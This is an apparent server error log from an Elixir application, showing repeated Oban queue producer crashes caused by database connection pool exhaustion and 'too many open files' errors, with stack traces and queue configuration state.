[Sun Sep  6 00:46:17.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1824ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:46:04.240170Z], limit: 3, uuid: "4bcde695-2dc6-4482-a8f0-0b00292d9aeb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240174Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76834>, refresh_timer: #Reference<0.2525715032.1099431938.68637>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:17.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2013ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:46:04.240077Z], limit: 50, uuid: "3adda359-5db7-42f1-96f3-63afb0e1c71b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240083Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76833>, refresh_timer: #Reference<0.2525715032.1099431938.68636>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:17.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1873ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:46:04.240097Z], limit: 5, uuid: "4a89445c-46c0-4922-b0bc-90a63fd40df4", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240103Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76832>, refresh_timer: #Reference<0.2525715032.1099431938.68640>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:17.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 2009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:46:04.240145Z], limit: 10, uuid: "b0f4d5d8-e29f-49f0-8bee-1fac6b8195ae", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240150Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.68657>, refresh_timer: #Reference<0.2525715032.1099431938.68646>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:17.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1803ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:46:04.240147Z], limit: 20, uuid: "0d0f8261-43f9-460c-aa0b-6e0586d53870", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:04.240151Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.76830>, refresh_timer: #Reference<0.2525715032.1099431938.68643>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:17.535000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:22.441000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:24.706000 2026] [Ecto.Adapters.SQL:debug] [pid 2816631] [client -] QUERY OK source="global_table" db=0.6ms idle=1093.4ms
SELECT g0.`config_key`, g0.`config_value` FROM `global_table` AS g0 []
↳ DaProductApp.GlobalSettings.load_once/1, at: lib/da_product_app/global_settings.ex:92
[Sun Sep  6 00:46:27.021000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:27.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:27.768000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:28.238000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:46:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:46:17.242510Z], limit: 10, uuid: "d4521640-8936-4305-9d32-326535c42e67", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.242516Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.53839>, refresh_timer: #Reference<0.2525715032.1121189889.220362>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1014ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:46:17.244768Z], limit: 20, uuid: "63beb1b1-ff9d-46b6-8901-6dcb1438060f", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.244773Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.53838>, refresh_timer: #Reference<0.2525715032.1121189889.220395>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:46:17.242512Z], limit: 50, uuid: "47c4c63f-b0aa-49f7-828d-6f64d0818d27", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:46:17.242517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.53837>, refresh_timer: #Reference<0.2525715032.1077673987.53827>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:46:29.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 867ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
